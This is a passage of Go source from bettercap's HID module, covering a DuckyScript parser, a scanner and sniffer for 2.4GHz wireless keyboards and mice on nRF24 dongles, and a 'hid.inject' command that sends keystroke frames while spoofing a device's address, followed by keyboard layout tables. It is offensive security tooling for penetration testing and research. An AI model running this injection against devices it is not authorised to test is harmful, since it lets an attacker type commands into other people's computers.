package hid import ( "time" ) type Frame struct { Data []byte Delay time.Duration } func NewFrame(buf []byte, delay int) Frame { return Frame{ Data: buf, Delay: time.Millisecond * time.Duration(delay), } } type Command struct { Mode byte HID byte Sleep int Frames []Frame } func (cmd *Command) AddFrame(buf []byte, delay int) { if cmd.Frames == nil { cmd.Frames = make([]Frame, 0) } cmd.Frames = append(cmd.Frames, NewFrame(buf, delay)) } func (cmd Command) IsHID() bool { return cmd.HID != 0 || cmd.Mode != 0 } func (cmd Command) IsSleep() bool { return cmd.Sleep > 0 }
Go
bettercap/modules/hid/duckyparser.go
package hid import ( "fmt" "strconv" "strings" "github.com/evilsocket/islazy/fs" ) type DuckyParser struct { mod *HIDRecon } func (p DuckyParser) parseLiteral(what string, kmap KeyMap) (*Command, error) { // get reference command from the layout ref, found := kmap[what] if found == false { return nil, fmt.Errorf("can't find '%s' in current keymap", what) } return &Command{ HID: ref.HID, Mode: ref.Mode, }, nil } func (p DuckyParser) parseModifier(line string, kmap KeyMap, modMask byte) (*Command, error) { // get optional key after the modifier ch := "" if idx := strings.IndexRune(line, ' '); idx != -1 { ch = line[idx+1:] } cmd, err := p.parseLiteral(ch, kmap) if err != nil { return nil, err } // apply modifier mask cmd.Mode |= modMask return cmd, nil } func (p DuckyParser) parseNumber(from string) (int, error) { idx := strings.IndexRune(from, ' ') if idx == -1 { return 0, fmt.Errorf("can't parse number from '%s'", from) } num, err := strconv.Atoi(from[idx+1:]) if err != nil { return 0, fmt.Errorf("can't parse number from '%s': %v", from, err) } return num, nil } func (p DuckyParser) parseString(from string) (string, error) { idx := strings.IndexRune(from, ' ') if idx == -1 { return "", fmt.Errorf("can't parse string from '%s'", from) } return from[idx+1:], nil } func (p DuckyParser) lineIs(line string, tokens ...string) bool { for _, tok := range tokens { if strings.HasPrefix(line, tok) { return true } } return false } func (p DuckyParser) Parse(kmap KeyMap, path string) (cmds []*Command, err error) { lines := []string{} source := []string{} reader := (chan string)(nil) if reader, err = fs.LineReader(path); err != nil { return } else { for line := range reader { lines = append(lines, line) } } // preprocessing for lineno, line := range lines { if p.lineIs(line, "REPEAT") { if lineno == 0 { err = fmt.Errorf("error on line %d: REPEAT instruction at the beginning of the script", lineno+1) return } times := 1 times, err = p.parseNumber(line) if err != nil { return } for i := 0; i < times; i++ { source = append(source, lines[lineno-1]) } } else { source = append(source, line) } } cmds = make([]*Command, 0) for _, line := range source { cmd := &Command{} if p.lineIs(line, "CTRL", "CONTROL") { if cmd, err = p.parseModifier(line, kmap, 1); err != nil { return } } else if p.lineIs(line, "SHIFT") { if cmd, err = p.parseModifier(line, kmap, 2); err != nil { return } } else if p.lineIs(line, "ALT") { if cmd, err = p.parseModifier(line, kmap, 4); err != nil { return } } else if p.lineIs(line, "GUI", "WINDOWS", "COMMAND") { if cmd, err = p.parseModifier(line, kmap, 8); err != nil { return } } else if p.lineIs(line, "CTRL-ALT", "CONTROL-ALT") { if cmd, err = p.parseModifier(line, kmap, 4|1); err != nil { return } } else if p.lineIs(line, "CTRL-SHIFT", "CONTROL-SHIFT") { if cmd, err = p.parseModifier(line, kmap, 1|2); err != nil { return } } else if p.lineIs(line, "ESC", "ESCAPE", "APP") { if cmd, err = p.parseLiteral("ESCAPE", kmap); err != nil { return } } else if p.lineIs(line, "ENTER") { if cmd, err = p.parseLiteral("ENTER", kmap); err != nil { return } } else if p.lineIs(line, "UP", "UPARROW") { if cmd, err = p.parseLiteral("UP", kmap); err != nil { return } } else if p.lineIs(line, "DOWN", "DOWNARROW") { if cmd, err = p.parseLiteral("DOWN", kmap); err != nil { return } } else if p.lineIs(line, "LEFT", "LEFTARROW") { if cmd, err = p.parseLiteral("LEFT", kmap); err != nil { return } } else if p.lineIs(line, "RIGHT", "RIGHTARROW") { if cmd, err = p.parseLiteral("RIGHT", kmap); err != nil { return } } else if p.lineIs(line, "DELAY", "SLEEP") { secs := 0 if secs, err = p.parseNumber(line); err != nil { return } cmd = &Command{Sleep: secs} } else if p.lineIs(line, "STRING", "STR") { str := "" if str, err = p.parseString(line); err != nil { return } for _, c := range str { if cmd, err = p.parseLiteral(string(c), kmap); err != nil { return } cmds = append(cmds, cmd) } continue } else if cmd, err = p.parseLiteral(line, kmap); err != nil { err = fmt.Errorf("error parsing '%s': %s", line, err) return } cmds = append(cmds, cmd) } return }
Go
bettercap/modules/hid/hid.go
package hid import ( "fmt" "strings" "sync" "time" "github.com/bettercap/bettercap/modules/utils" "github.com/bettercap/bettercap/session" "github.com/bettercap/nrf24" ) type HIDRecon struct { session.SessionModule dongle *nrf24.Dongle waitGroup *sync.WaitGroup channel int devTTL int hopPeriod time.Duration pingPeriod time.Duration sniffPeriod time.Duration lastHop time.Time lastPing time.Time useLNA bool sniffLock *sync.Mutex writeLock *sync.Mutex sniffAddrRaw []byte sniffAddr string sniffType string pingPayload []byte inSniffMode bool sniffSilent bool inPromMode bool inInjectMode bool keyLayout string scriptPath string parser DuckyParser selector *utils.ViewSelector } func NewHIDRecon(s *session.Session) *HIDRecon { mod := &HIDRecon{ SessionModule: session.NewSessionModule("hid", s), waitGroup: &sync.WaitGroup{}, sniffLock: &sync.Mutex{}, writeLock: &sync.Mutex{}, devTTL: 1200, hopPeriod: 100 * time.Millisecond, pingPeriod: 100 * time.Millisecond, sniffPeriod: 500 * time.Millisecond, lastHop: time.Now(), lastPing: time.Now(), useLNA: true, channel: 1, sniffAddrRaw: nil, sniffAddr: "", inSniffMode: false, inPromMode: false, inInjectMode: false, sniffSilent: true, pingPayload: []byte{0x0f, 0x0f, 0x0f, 0x0f}, keyLayout: "US", scriptPath: "", } mod.State.Store("sniffing", &mod.sniffAddr) mod.State.Store("injecting", &mod.inInjectMode) mod.State.Store("layouts", SupportedLayouts()) mod.AddHandler(session.NewModuleHandler("hid.recon on", "", "Start scanning for HID devices on the 2.4Ghz spectrum.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("hid.recon off", "", "Stop scanning for HID devices on the 2.4Ghz spectrum.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("hid.clear", "", "Clear all devices collected by the HID discovery module.", func(args []string) error { mod.Session.HID.Clear() return nil })) sniff := session.NewModuleHandler("hid.sniff ADDRESS", `(?i)^hid\.sniff ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}|clear)$`, "Start sniffing a specific ADDRESS in order to collect payloads, use 'clear' to stop collecting.", func(args []string) error { return mod.setSniffMode(args[0], false) }) sniff.Complete("hid.sniff", s.HIDCompleter) mod.AddHandler(sniff) mod.AddHandler(session.NewModuleHandler("hid.show", "", "Show a list of detected HID devices on the 2.4Ghz spectrum.", func(args []string) error { return mod.Show() })) inject := session.NewModuleHandler("hid.inject ADDRESS LAYOUT FILENAME", `(?i)^hid\.inject ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2})\s+(.+)\s+(.+)$`, "Parse the duckyscript FILENAME and inject it as HID frames spoofing the device ADDRESS, using the LAYOUT keyboard mapping.", func(args []string) error { if err := mod.setInjectionMode(args[0]); err != nil { return err } mod.keyLayout = args[1] mod.scriptPath = args[2] return nil }) inject.Complete("hid.inject", s.HIDCompleter) mod.AddHandler(inject) mod.AddParam(session.NewIntParameter("hid.ttl", fmt.Sprintf("%d", mod.devTTL), "Seconds of inactivity to consider a device as not in range.")) mod.AddParam(session.NewBoolParameter("hid.lna", "true", "If true, enable the LNA power amplifier for CrazyRadio devices.")) mod.AddParam(session.NewIntParameter("hid.hop.period", "100", "Time in milliseconds to stay on each channel before hopping to the next one.")) mod.AddParam(session.NewIntParameter("hid.ping.period", "100", "Time in milliseconds to attempt to ping a device on a given channel while in sniffer mode.")) mod.AddParam(session.NewIntParameter("hid.sniff.period", "500", "Time in milliseconds to automatically sniff payloads from a device, once it's detected, in order to determine its type.")) builders := availBuilders() mod.AddParam(session.NewStringParameter("hid.force.type", "logitech", fmt.Sprintf("(%s)", strings.Join(builders, "|")), fmt.Sprintf("If the device is not visible or its type has not being detected, force the device type to this value. Accepted values: %s", strings.Join(builders, ", ")))) mod.parser = DuckyParser{mod} mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc") return mod } func (mod HIDRecon) Name() string { return "hid" } func (mod HIDRecon) Description() string { return "A scanner and frames injection module for HID devices on the 2.4Ghz spectrum, using Nordic Semiconductor nRF24LU1+ based USB dongles and Bastille Research RFStorm firmware." } func (mod HIDRecon) Author() string { return "Simone Margaritelli <[email protected]> (this module and the nrf24 client library), Bastille Research (the rfstorm firmware and original research), phikshun and infamy for JackIt." } func (mod *HIDRecon) Configure() error { var err error var n int if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } if err, mod.useLNA = mod.BoolParam("hid.lna"); err != nil { return err } if err, mod.devTTL = mod.IntParam("hid.ttl"); err != nil { return err } if err, n = mod.IntParam("hid.hop.period"); err != nil { return err } else { mod.hopPeriod = time.Duration(n) * time.Millisecond } if err, n = mod.IntParam("hid.ping.period"); err != nil { return err } else { mod.pingPeriod = time.Duration(n) * time.Millisecond } if err, n = mod.IntParam("hid.sniff.period"); err != nil { return err } else { mod.sniffPeriod = time.Duration(n) * time.Millisecond } if mod.dongle, err = nrf24.Open(); err != nil { return fmt.Errorf("make sure that a nRF24LU1+ based USB dongle is connected and running the rfstorm firmware: %s", err) } mod.Debug("using device %s", mod.dongle.String()) if mod.useLNA { if err = mod.dongle.EnableLNA(); err != nil { return fmt.Errorf("make sure your device supports LNA, otherwise set hid.lna to false and retry: %s", err) } mod.Debug("LNA enabled") } return nil } func (mod *HIDRecon) forceStop() error { return mod.SetRunning(false, func() { if mod.dongle != nil { mod.dongle.Close() mod.Debug("device closed") } }) } func (mod *HIDRecon) Stop() error { return mod.SetRunning(false, func() { mod.waitGroup.Wait() if mod.dongle != nil { mod.dongle.Close() mod.Debug("device closed") } }) }
Go
bettercap/modules/hid/hid_inject.go
package hid import ( "fmt" "time" "github.com/bettercap/bettercap/network" "github.com/evilsocket/islazy/tui" "github.com/dustin/go-humanize" ) func (mod *HIDRecon) isInjecting() bool { return mod.inInjectMode } func (mod *HIDRecon) setInjectionMode(address string) error { if err := mod.setSniffMode(address, true); err != nil { return err } else if address == "clear" { mod.inInjectMode = false } else { mod.inInjectMode = true } return nil } func errNoDevice(addr string) error { return fmt.Errorf("HID device %s not found, make sure that hid.recon is on and that this device has been discovered", addr) } func errNoType(addr string) error { return fmt.Errorf("HID frame injection requires the device type to be detected, try to 'hid.sniff %s' for a few seconds.", addr) } func errNotSupported(dev *network.HIDDevice) error { return fmt.Errorf("HID frame injection is not supported for device type %s", dev.Type.String()) } func errNoKeyMap(layout string) error { return fmt.Errorf("could not find keymap for '%s' layout, supported layouts are: %s", layout, SupportedLayouts()) } func (mod *HIDRecon) prepInjection() (error, *network.HIDDevice, []*Command) { var err error if err, mod.sniffType = mod.StringParam("hid.force.type"); err != nil { return err, nil, nil } dev, found := mod.Session.HID.Get(mod.sniffAddr) if found == false { mod.Warning("device %s is not visible, will use HID type %s", mod.sniffAddr, tui.Yellow(mod.sniffType)) } else if dev.Type == network.HIDTypeUnknown { mod.Warning("device %s type has not been detected yet, falling back to '%s'", mod.sniffAddr, tui.Yellow(mod.sniffType)) } var builder FrameBuilder if found && dev.Type != network.HIDTypeUnknown { // get the device specific protocol handler builder, found = FrameBuilders[dev.Type] if found == false { return errNotSupported(dev), nil, nil } } else { // get the device protocol handler from the hid.force.type parameter builder = builderFromName(mod.sniffType) } // get the keymap from the selected layout keyMap := KeyMapFor(mod.keyLayout) if keyMap == nil { return errNoKeyMap(mod.keyLayout), nil, nil } // parse the script into a list of Command objects cmds, err := mod.parser.Parse(keyMap, mod.scriptPath) if err != nil { return err, nil, nil } mod.Info("%s loaded ...", mod.scriptPath) // build the protocol specific frames to send if err := builder.BuildFrames(dev, cmds); err != nil { return err, nil, nil } return nil, dev, cmds } func (mod *HIDRecon) doInjection() { mod.writeLock.Lock() defer mod.writeLock.Unlock() err, dev, cmds := mod.prepInjection() if err != nil { mod.Error("%v", err) return } numFrames := 0 szFrames := 0 for _, cmd := range cmds { for _, frame := range cmd.Frames { numFrames++ szFrames += len(frame.Data) } } devType := mod.sniffType if dev != nil { devType = dev.Type.String() } mod.Info("sending %d (%s) HID frames to %s (type:%s layout:%s) ...", numFrames, humanize.Bytes(uint64(szFrames)), tui.Bold(mod.sniffAddr), tui.Yellow(devType), tui.Yellow(mod.keyLayout)) for i, cmd := range cmds { for j, frame := range cmd.Frames { for attempt := 0; attempt < 3; attempt++ { if err := mod.dongle.TransmitPayload(frame.Data, 500, 5); err != nil { if attempt < 2 { mod.Debug("error sending frame #%d of HID command #%d: %v, retrying ...", j, i, err) } else { mod.Error("error sending frame #%d of HID command #%d: %v", j, i, err) } } else { break } } if frame.Delay > 0 { mod.Debug("sleeping %dms after frame #%d of command #%d ...", frame.Delay, j, i) time.Sleep(frame.Delay) } } if cmd.Sleep > 0 { mod.Debug("sleeping %dms after command #%d ...", cmd.Sleep, i) time.Sleep(time.Duration(cmd.Sleep) * time.Millisecond) } } }
Go
bettercap/modules/hid/hid_recon.go
package hid import ( "time" "github.com/bettercap/nrf24" "github.com/google/gousb" ) func (mod *HIDRecon) doHopping() { mod.writeLock.Lock() defer mod.writeLock.Unlock() if mod.inPromMode == false { if err := mod.dongle.EnterPromiscMode(); err != nil { mod.Error("error entering promiscuous mode: %v", err) } else { mod.inSniffMode = false mod.inPromMode = true mod.Debug("device entered promiscuous mode") } } if time.Since(mod.lastHop) >= mod.hopPeriod { mod.channel++ if mod.channel > nrf24.TopChannel { mod.channel = 1 } if err := mod.dongle.SetChannel(mod.channel); err != nil { if err == gousb.ErrorNoDevice || err == gousb.TransferStall { mod.Error("device disconnected, stopping module") mod.forceStop() return } else { mod.Warning("error hopping on channel %d: %v", mod.channel, err) } } else { mod.lastHop = time.Now() } } } func (mod *HIDRecon) onDeviceDetected(buf []byte) { if sz := len(buf); sz >= 5 { addr, payload := buf[0:5], buf[5:] mod.Debug("detected device %x on channel %d (payload:%x)\n", addr, mod.channel, payload) if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew { // sniff for a while in order to detect the device type go func() { prevSilent := mod.sniffSilent if err := mod.setSniffMode(dev.Address, true); err == nil { mod.Debug("detecting device type ...") defer func() { mod.sniffLock.Unlock() mod.setSniffMode("clear", prevSilent) }() // make sure nobody can sniff to another // address until we're not done here... mod.sniffLock.Lock() time.Sleep(mod.sniffPeriod) } else { mod.Warning("error while sniffing %s: %v", dev.Address, err) } }() } } } func (mod *HIDRecon) devPruner() { mod.waitGroup.Add(1) defer mod.waitGroup.Done() maxDeviceTTL := time.Duration(mod.devTTL) * time.Second mod.Debug("devices pruner started with ttl %v", maxDeviceTTL) for mod.Running() { for _, dev := range mod.Session.HID.Devices() { sinceLastSeen := time.Since(dev.LastSeen) if sinceLastSeen > maxDeviceTTL { mod.Debug("device %s not seen in %s, removing.", dev.Address, sinceLastSeen) mod.Session.HID.Remove(dev.Address) } } time.Sleep(30 * time.Second) } } func (mod *HIDRecon) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.waitGroup.Add(1) defer mod.waitGroup.Done() go mod.devPruner() mod.Info("hopping on %d channels every %s", nrf24.TopChannel, mod.hopPeriod) for mod.Running() { if mod.isSniffing() { mod.doPing() } else { mod.doHopping() } if mod.isInjecting() { mod.doInjection() mod.setInjectionMode("clear") continue } buf, err := mod.dongle.ReceivePayload() if err != nil { if err == gousb.ErrorNoDevice || err == gousb.TransferStall { mod.Error("device disconnected, stopping module") mod.forceStop() return } mod.Warning("error receiving payload from channel %d: %v", mod.channel, err) continue } if mod.isSniffing() { mod.onSniffedBuffer(buf) } else { mod.onDeviceDetected(buf) } } mod.Debug("stopped") }) }
Go
bettercap/modules/hid/hid_show.go
package hid import ( "sort" "time" "github.com/bettercap/bettercap/network" "github.com/dustin/go-humanize" "github.com/evilsocket/islazy/tui" ) var ( AliveTimeInterval = time.Duration(5) * time.Minute PresentTimeInterval = time.Duration(1) * time.Minute JustJoinedTimeInterval = time.Duration(10) * time.Second ) func (mod *HIDRecon) getRow(dev *network.HIDDevice) []string { sinceLastSeen := time.Since(dev.LastSeen) seen := dev.LastSeen.Format("15:04:05") if sinceLastSeen <= JustJoinedTimeInterval { seen = tui.Bold(seen) } else if sinceLastSeen > PresentTimeInterval { seen = tui.Dim(seen) } return []string{ dev.Address, dev.Type.String(), dev.Channels(), humanize.Bytes(dev.PayloadsSize()), seen, } } func (mod *HIDRecon) doFilter(dev *network.HIDDevice) bool { if mod.selector.Expression == nil { return true } return mod.selector.Expression.MatchString(dev.Address) } func (mod *HIDRecon) doSelection() (err error, devices []*network.HIDDevice) { if err = mod.selector.Update(); err != nil { return } devices = mod.Session.HID.Devices() filtered := []*network.HIDDevice{} for _, dev := range devices { if mod.doFilter(dev) { filtered = append(filtered, dev) } } devices = filtered switch mod.selector.SortField { case "mac": sort.Sort(ByHIDMacSorter(devices)) case "seen": sort.Sort(ByHIDSeenSorter(devices)) } // default is asc if mod.selector.Sort == "desc" { // from https://github.com/golang/go/wiki/SliceTricks for i := len(devices)/2 - 1; i >= 0; i-- { opp := len(devices) - 1 - i devices[i], devices[opp] = devices[opp], devices[i] } } if mod.selector.Limit > 0 { limit := mod.selector.Limit max := len(devices) if limit > max { limit = max } devices = devices[0:limit] } return } func (mod *HIDRecon) colNames() []string { colNames := []string{"MAC", "Type", "Channels", "Data", "Seen"} switch mod.selector.SortField { case "mac": colNames[0] += " " + mod.selector.SortSymbol case "seen": colNames[4] += " " + mod.selector.SortSymbol } return colNames } func (mod *HIDRecon) Show() (err error) { var devices []*network.HIDDevice if err, devices = mod.doSelection(); err != nil { return } rows := make([][]string, 0) for _, dev := range devices { rows = append(rows, mod.getRow(dev)) } tui.Table(mod.Session.Events.Stdout, mod.colNames(), rows) if mod.sniffAddrRaw == nil { mod.Printf("\nchannel:%d\n\n", mod.channel) } else { mod.Printf("\nchannel:%d sniffing:%s\n\n", mod.channel, tui.Red(mod.sniffAddr)) } if len(rows) > 0 { mod.Session.Refresh() } return nil }
Go
bettercap/modules/hid/hid_show_sort.go
package hid import ( "github.com/bettercap/bettercap/network" ) type ByHIDMacSorter []*network.HIDDevice func (a ByHIDMacSorter) Len() int { return len(a) } func (a ByHIDMacSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByHIDMacSorter) Less(i, j int) bool { return a[i].Address < a[j].Address } type ByHIDSeenSorter []*network.HIDDevice func (a ByHIDSeenSorter) Len() int { return len(a) } func (a ByHIDSeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByHIDSeenSorter) Less(i, j int) bool { return a[i].LastSeen.Before(a[j].LastSeen) }
Go
bettercap/modules/hid/hid_sniff.go
package hid import ( "encoding/hex" "fmt" "time" "github.com/bettercap/bettercap/network" "github.com/bettercap/nrf24" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" ) func (mod *HIDRecon) isSniffing() bool { return mod.sniffAddrRaw != nil } func (mod *HIDRecon) setSniffMode(mode string, silent bool) error { if !mod.Running() { return fmt.Errorf("please turn hid.recon on") } mod.sniffLock.Lock() defer mod.sniffLock.Unlock() mod.sniffSilent = silent mod.inSniffMode = false if mode == "clear" { mod.Debug("restoring recon mode") mod.sniffAddrRaw = nil mod.sniffAddr = "" mod.sniffSilent = true } else { if err, raw := nrf24.ConvertAddress(mode); err != nil { return err } else { mod.Debug("sniffing device %s ...", tui.Bold(mode)) mod.sniffAddr = network.NormalizeHIDAddress(mode) mod.sniffAddrRaw = raw } } return nil } func (mod *HIDRecon) doPing() { mod.writeLock.Lock() defer mod.writeLock.Unlock() if mod.inSniffMode == false { if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil { mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err) } else { mod.inSniffMode = true mod.inPromMode = false mod.Debug("device entered sniffer mode for %s", mod.sniffAddr) } } if time.Since(mod.lastPing) >= mod.pingPeriod { // try on the current channel first if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil { for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ { if err := mod.dongle.SetChannel(mod.channel); err != nil { mod.Error("error setting channel %d: %v", mod.channel, err) } else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil { mod.lastPing = time.Now() return } } } } } func (mod *HIDRecon) onSniffedBuffer(buf []byte) { if sz := len(buf); sz > 0 && buf[0] == 0x00 { buf = buf[1:] lf := mod.Info if mod.sniffSilent { lf = mod.Debug } lf("payload for %s : %s", tui.Bold(mod.sniffAddr), str.Trim(hex.Dump(buf))) if dev, found := mod.Session.HID.Get(mod.sniffAddr); found { dev.LastSeen = time.Now() dev.AddPayload(buf) dev.AddChannel(mod.channel) } else { if lf = mod.Warning; mod.sniffSilent == false { lf = mod.Debug } lf("got a payload for unknown device %s", mod.sniffAddr) } } }
Go
bettercap/modules/hid/keymaps.go
package hid import ( "sort" ) type KeyMap map[string]Command var BaseMap = KeyMap{ "": Command{}, "CTRL": Command{Mode: 1}, "SHIFT": Command{Mode: 2}, "ALT": Command{Mode: 4}, "GUI": Command{Mode: 8}, "ENTER": Command{HID: 40}, "ESCAPE": Command{HID: 41}, "DELETE": Command{HID: 42}, "TAB": Command{HID: 43}, "SPACE": Command{HID: 44}, "CAPSLOCK": Command{HID: 57}, "F1": Command{HID: 58}, "F2": Command{HID: 59}, "F3": Command{HID: 60}, "F4": Command{HID: 61}, "F5": Command{HID: 62}, "F6": Command{HID: 63}, "F7": Command{HID: 64}, "F8": Command{HID: 65}, "F9": Command{HID: 66}, "F10": Command{HID: 67}, "F11": Command{HID: 68}, "F12": Command{HID: 69}, "PRINTSCREEN": Command{HID: 70}, "SCROLLLOCK": Command{HID: 71}, "PAUSE": Command{HID: 72}, "INSERT": Command{HID: 73}, "HOME": Command{HID: 74}, "PAGEUP": Command{HID: 75}, "DEL": Command{HID: 76}, "END": Command{HID: 77}, "PAGEDOWN": Command{HID: 78}, "RIGHT": Command{HID: 79}, "LEFT": Command{HID: 80}, "DOWN": Command{HID: 81}, "UP": Command{HID: 82}, "MENU": Command{HID: 101}, } var KeyMaps = map[string]KeyMap{ "BE": { " ": Command{HID: 44}, "$": Command{HID: 48}, "(": Command{HID: 34}, ",": Command{HID: 16}, "0": Command{HID: 39, Mode: 2}, "4": Command{HID: 33, Mode: 2}, "8": Command{HID: 37, Mode: 2}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 35}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 100, Mode: 64}, "`": Command{HID: 49, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 49, Mode: 2}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 30, Mode: 64}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 32, Mode: 64}, "'": Command{HID: 33}, "+": Command{HID: 56, Mode: 2}, "/": Command{HID: 55, Mode: 2}, "3": Command{HID: 32, Mode: 2}, "7": Command{HID: 36, Mode: 2}, ";": Command{HID: 54}, "?": Command{HID: 16, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "³": Command{HID: 53, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "è": Command{HID: 36}, "W": Command{HID: 29, Mode: 2}, "[": Command{HID: 48, Mode: 64}, "_": Command{HID: 46, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 29}, "{": Command{HID: 38, Mode: 64}, "à": Command{HID: 39}, "é": Command{HID: 31}, "\"": Command{HID: 32}, "&": Command{HID: 30}, "*": Command{HID: 48, Mode: 2}, "ç": Command{HID: 38}, ".": Command{HID: 54, Mode: 2}, "ù": Command{HID: 52}, "2": Command{HID: 31, Mode: 2}, "6": Command{HID: 35, Mode: 2}, ":": Command{HID: 55}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 26, Mode: 2}, "^": Command{HID: 35, Mode: 64}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "µ": Command{HID: 49}, "r": Command{HID: 21}, "°": Command{HID: 45, Mode: 2}, "²": Command{HID: 53}, "v": Command{HID: 25}, "z": Command{HID: 26}, "~": Command{HID: 56, Mode: 64}, "!": Command{HID: 37}, "%": Command{HID: 52, Mode: 2}, ")": Command{HID: 45}, "-": Command{HID: 46}, "1": Command{HID: 30, Mode: 2}, "5": Command{HID: 34, Mode: 2}, "9": Command{HID: 38, Mode: 2}, "=": Command{HID: 56}, "A": Command{HID: 20, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 51, Mode: 2}, "Q": Command{HID: 4, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 47, Mode: 64}, "a": Command{HID: 20}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 51}, "q": Command{HID: 4}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "FR": { " ": Command{HID: 44}, "$": Command{HID: 48}, "(": Command{HID: 34}, ",": Command{HID: 16}, "0": Command{HID: 39, Mode: 2}, "4": Command{HID: 33, Mode: 2}, "8": Command{HID: 37, Mode: 2}, "<": Command{HID: 100}, "@": Command{HID: 39, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 37, Mode: 64}, "`": Command{HID: 36, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 35, Mode: 64}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 32, Mode: 64}, "'": Command{HID: 33}, "+": Command{HID: 46, Mode: 2}, "/": Command{HID: 55, Mode: 2}, "3": Command{HID: 32, Mode: 2}, "7": Command{HID: 36, Mode: 2}, ";": Command{HID: 54}, "?": Command{HID: 16, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 29, Mode: 2}, "[": Command{HID: 34, Mode: 64}, "_": Command{HID: 37}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 29}, "{": Command{HID: 33, Mode: 64}, "\"": Command{HID: 32}, "&": Command{HID: 30}, "*": Command{HID: 49}, ".": Command{HID: 54, Mode: 2}, "2": Command{HID: 31, Mode: 2}, "6": Command{HID: 35, Mode: 2}, ":": Command{HID: 55}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 26, Mode: 2}, "^": Command{HID: 38, Mode: 64}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 26}, "~": Command{HID: 31, Mode: 64}, "!": Command{HID: 56}, "%": Command{HID: 52, Mode: 2}, ")": Command{HID: 45}, "-": Command{HID: 35}, "1": Command{HID: 30, Mode: 2}, "5": Command{HID: 34, Mode: 2}, "9": Command{HID: 38, Mode: 2}, "=": Command{HID: 46}, "A": Command{HID: 20, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 51, Mode: 2}, "Q": Command{HID: 4, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 45, Mode: 64}, "a": Command{HID: 20}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 51}, "q": Command{HID: 4}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 46, Mode: 64}, }, "CH": { " ": Command{HID: 44}, "$": Command{HID: 49}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 